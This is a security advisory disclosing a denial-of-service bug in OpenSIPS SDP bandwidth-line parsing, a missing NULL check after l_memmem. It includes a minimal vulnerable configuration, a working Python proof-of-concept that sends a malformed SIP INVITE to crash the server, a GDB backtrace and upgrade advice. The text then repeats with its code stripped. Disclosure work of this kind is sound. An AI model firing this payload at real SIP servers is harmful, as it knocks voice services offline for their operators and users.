Description
A denial of service vulnerability exists in OpenSIPS SDP bandwidth-line parsing. A SIP request with Content-Type: application/sdp and a malformed session-level SDP bandwidth line missing the required colon delimiter can corrupt parsed SDP bandwidth metadata. In configurations where the dialog and qos modules are in use, cloning the corrupted SDP state crashes OpenSIPS.
Technical details
The vulnerable code is in parser/sdp/sdp_helpr_funcs.c, in extract_bwidth():
cp = bwtype->s;
len = bwtype->len;
cp1 = (char*)l_memmem(cp, ":", len, 1);
len -= cp1 - cp;
if (len <= 0) {
LM_ERR("invalid encoding in `b=%.*s'\n", bwtype->len, bwtype->s);
return -1;
}
bwtype->len = cp1 - cp;
bwwitdth->s = cp1 + 1;
bwwitdth->len = len - 1;
If the b= line does not contain :, l_memmem() returns NULL. The code performs pointer arithmetic on cp1 without first verifying that the delimiter was found. The subsequent if (len <= 0) guard is meant to catch a missing delimiter, but it fails when cp1 is NULL because the NULL pointer arithmetic wraps len to a large positive value. The function then returns success with corrupted bw_type and bw_width string metadata. In the reproduced route, sipmsgops.codec_exists("PCMU") forces SDP parsing, then dialog and qos clone the parsed SDP state during transaction processing. The corrupted length is later used in memcpy() by clone_sdp_session_cell(), causing a crash.
Impact
A remote attacker can crash an OpenSIPS worker process in configurations where the routing script parses attacker-controlled SDP and applies dialog/QoS processing. The issue is configuration-dependent because a route or module must parse the SDP and then clone or store the parsed SDP state. No authentication was required in the tested lab.
How to reproduce the issue
Run an OpenSIPS instance with the following minimal configuration:
socket = udp:0.0.0.0:5060
mpath = "/usr/lib64/opensips/modules/"
loadmodule "proto_udp.so"
loadmodule "sl.so"
loadmodule "tm.so"
loadmodule "dialog.so"
loadmodule "qos.so"
loadmodule "sipmsgops.so"
modparam("qos", "qos_flag", "QOS_FLAG")
route {
if ($rm == "INVITE") {
if (codec_exists("PCMU")) {
setflag("QOS_FLAG");
create_dialog();
t_reply(200, "codec found");
} else {
t_reply(488, "codec missing or bad sdp");
}
exit;
}
sl_send_reply(200, "OK");
exit;
}
Execute the following Python script to reproduce the crash (replace [opensips-ip] with the target's IP address):
import socket
host = "[opensips-ip]"
body = (
"v=0\r\n"
"o=- 1 1 IN IP4 127.0.0.1\r\n"
"s=-\r\n"
"c=IN IP4 127.0.0.1\r\n"
"t=0 0\r\n"
"b=AS64\r\n"
"m=audio 49170 RTP/AVP 0\r\n"
"a=rtpmap:0 PCMU/8000\r\n"
)
msg = (
f"INVITE sip:service@{host} SIP/2.0\r\n"
"Via: SIP/2.0/UDP 127.0.0.1:5062;branch=z9hG4bK-sdp-helper\r\n"
"Max-Forwards: 70\r\n"
"From: <sip:alice@example.invalid>;tag=1\r\n"
"To: <sip:service@example.invalid>\r\n"
"Call-ID: opensips-sdp-helper@example.invalid\r\n"
"CSeq: 1 INVITE\r\n"
"Contact: <sip:alice@127.0.0.1:5062>\r\n"
"Content-Type: application/sdp\r\n"
f"Content-Length: {len(body)}\r\n\r\n{body}"
).encode()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("0.0.0.0", 5062))
s.sendto(msg, (host, 5060))
Observe that OpenSIPS crashes.
GDB backtrace result
#1 0x00005591627ae4b3 in clone_sdp_session_cell (session=0x7f0263d7f738) at parser/sdp/sdp.c:1139
#2 0x00007f0261b1ed92 in add_pending_sdp_session (qos_ctx=0x7f02620ccfc0, dir=1, cseq_number=0x7f0263d4bc10, cseq_method=0x7f0263d4bc20, cseq_method_id=1, role=0, negotiation=1, session=0x7f0263d7f738, _m=0x7f0263d7e708) at qos_ctx_helpers.c:354
#3 0x00007f0261b1f5e4 in add_sdp (qos_ctx=0x7f02620ccfc0, dir=1, _m=0x7f0263d7e708, role=0, other_role=1) at qos_ctx_helpers.c:431
#4 0x00007f0261b1a814 in qos_dialog_created_CB (did=0x7f02620ca050, type=2, params=0x7f0261c11fe0 <params>) at qos_handlers.c:153
#5 0x00007f0261b5cd63 in run_create_callbacks (dlg=0x7f02620ca050, msg=0x7f0263d7e708) at dlg_cb.c:228
#6 0x00007f0261b6a0eb in dlg_onreq (t=0x7f02620cb540, type=1, param=0x7ffe0f0b4970) at dlg_handlers.c:1312
#7 0x00007f0261caacfe in run_any_trans_callbacks (list=0x7f02620902a8, type=1, trans=0x7f02620cb540, req=0x7f0263d7e708, rpl=0x0, code=1) at t_hooks.c:214
#8 0x00007f0261cab05f in run_reqin_callbacks (trans=0x7f02620cb540, req=0x7f0263d7e708, code=1) at t_hooks.c:243
#9 0x00007f0261c685ea in build_cell (p_msg=0x7f0263d7e708, full_uas=0) at h_table.c:301
#10 0x00007f0261c6edb3 in new_t (p_msg=0x7f0263d7e708, full_uas=0) at t_lookup.c:993
#11 0x00007f0261c6f6e0 in t_newtran (p_msg=0x7f0263d7e708, full_uas=0) at t_lookup.c:1104
#12 0x00007f0261c83540 in w_t_reply (msg=0x7f0263d7e708, code=200, text=0x7ffe0f0b4cb0) at tm.c:1168
#13 0x00007f0261c837d5 in w_pv_t_reply (msg=0x7f0263d7e708, code=0x7ffe0f0b4ca8, text=0x7ffe0f0b4cb0) at tm.c:1188
#14 0x00005591625bb923 in do_action (a=0x7f0263d4a218, msg=0x7f0263d7e708) at action.c:1047
#15 0x00005591625b5521 in run_action_list (a=0x7f0263d49d90, msg=0x7f0263d7e708) at action.c:190
#16 0x00005591625ba09b in do_action (a=0x7f0263d4a5e8, msg=0x7f0263d7e708) at action.c:829
#17 0x00005591625b5521 in run_action_list (a=0x7f0263d4a5e8, msg=0x7f0263d7e708) at action.c:190
#18 0x00005591625ba09b in do_action (a=0x7f0263d4a900, msg=0x7f0263d7e708) at action.c:829
#19 0x00005591625b5521 in run_action_list (a=0x7f0263d4a900, msg=0x7f0263d7e708) at action.c:190
#20 0x00005591625b51e6 in run_actions (a=0x7f0263d4a900, msg=0x7f0263d7e708) at action.c:136
#21 0x00005591625b5924 in run_top_route (sr=..., msg=0x7f0263d7e708) at action.c:250
#22 0x00005591625d2c4f in receive_msg (buf=0x559162b36c60 <buf> "INVITE sip:service@[opensips-ip] SIP/2.0\r\nVia: SIP/2.0/UDP 127.0.0.1:5062;branch=z9hG4bK-sdp-helper\r\nMax-Forwards: 70\r\nFrom: <sip:alice@example.invalid>;tag=1\r\nTo: <sip:service@example.invalid>\r\nCall-"..., len=466, rcv_info=0x7ffe0f0b53d0, existing_context=0x0, msg_flags=0) at receive.c:225
#23 0x000055916282d1d2 in udp_read_req (si=0x7f0263d47fc0, bytes_read=0x7ffe0f0b5480) at net/proto_udp/proto_udp.c:186
#24 0x00005591627fa857 in handle_io (fm=0x7f0263d71d80, idx=0, event_type=1) at net/net_udp.c:295
#25 0x00005591627f80d8 in io_wait_loop_epoll (h=0x559162b5e640 <_worker_io>, t=1, repeat=0) at net/../io_wait_loop.h:305
#26 0x00005591627fc9ad in udp_start_processes (chd_rank=0x559162ad7c6c <chd_rank>, startup_done=0x0) at net/net_udp.c:528
#27 0x0000559162676c50 in main_loop () at main.c:239
#28 0x000055916267c020 in main (argc=6, argv=0x7ffe0f0b57b8) at main.c:968
Solutions and recommendations
OpenSIPS has published fixes for this advisory. Users should upgrade to OpenSIPS 3.6.6, 4.0.0-rc1, or a later fixed release. If immediate upgrade is not possible, restrict access to the affected feature or disable it until patching is complete.
About Enable Security
Enable Security provides quality penetration testing to help protect your real-time communications systems against attack.
Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can be found at https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.
Description
A denial of service vulnerability exists in OpenSIPS SDP bandwidth-line parsing. A SIP request with
Content-Type: application/sdpand a malformed session-level SDP bandwidth line missing the required colon delimiter can corrupt parsed SDP bandwidth metadata. In configurations where thedialogandqosmodules are in use, cloning the corrupted SDP state crashes OpenSIPS.Technical details
The vulnerable code is in
parser/sdp/sdp_helpr_funcs.c, inextract_bwidth():If the
b=line does not contain:,l_memmem()returnsNULL. The code performs pointer arithmetic oncp1without first verifying that the delimiter was found. The subsequentif (len <= 0)guard is meant to catch a missing delimiter, but it fails whencp1is NULL because the NULL pointer arithmetic wrapslento a large positive value. The function then returns success with corruptedbw_typeandbw_widthstring metadata. In the reproduced route,sipmsgops.codec_exists("PCMU")forces SDP parsing, thendialogandqosclone the parsed SDP state during transaction processing. The corrupted length is later used inmemcpy()byclone_sdp_session_cell(), causing a crash.Impact
A remote attacker can crash an OpenSIPS worker process in configurations where the routing script parses attacker-controlled SDP and applies dialog/QoS processing. The issue is configuration-dependent because a route or module must parse the SDP and then clone or store the parsed SDP state. No authentication was required in the tested lab.
How to reproduce the issue
Run an OpenSIPS instance with the following minimal configuration:
Execute the following Python script to reproduce the crash (replace
[opensips-ip]with the target's IP address):Observe that OpenSIPS crashes.
GDB backtrace result
Solutions and recommendations
OpenSIPS has published fixes for this advisory. Users should upgrade to OpenSIPS 3.6.6, 4.0.0-rc1, or a later fixed release. If immediate upgrade is not possible, restrict access to the affected feature or disable it until patching is complete.
About Enable Security
Enable Security provides quality penetration testing to help protect your real-time communications systems against attack.
Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can be found at https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.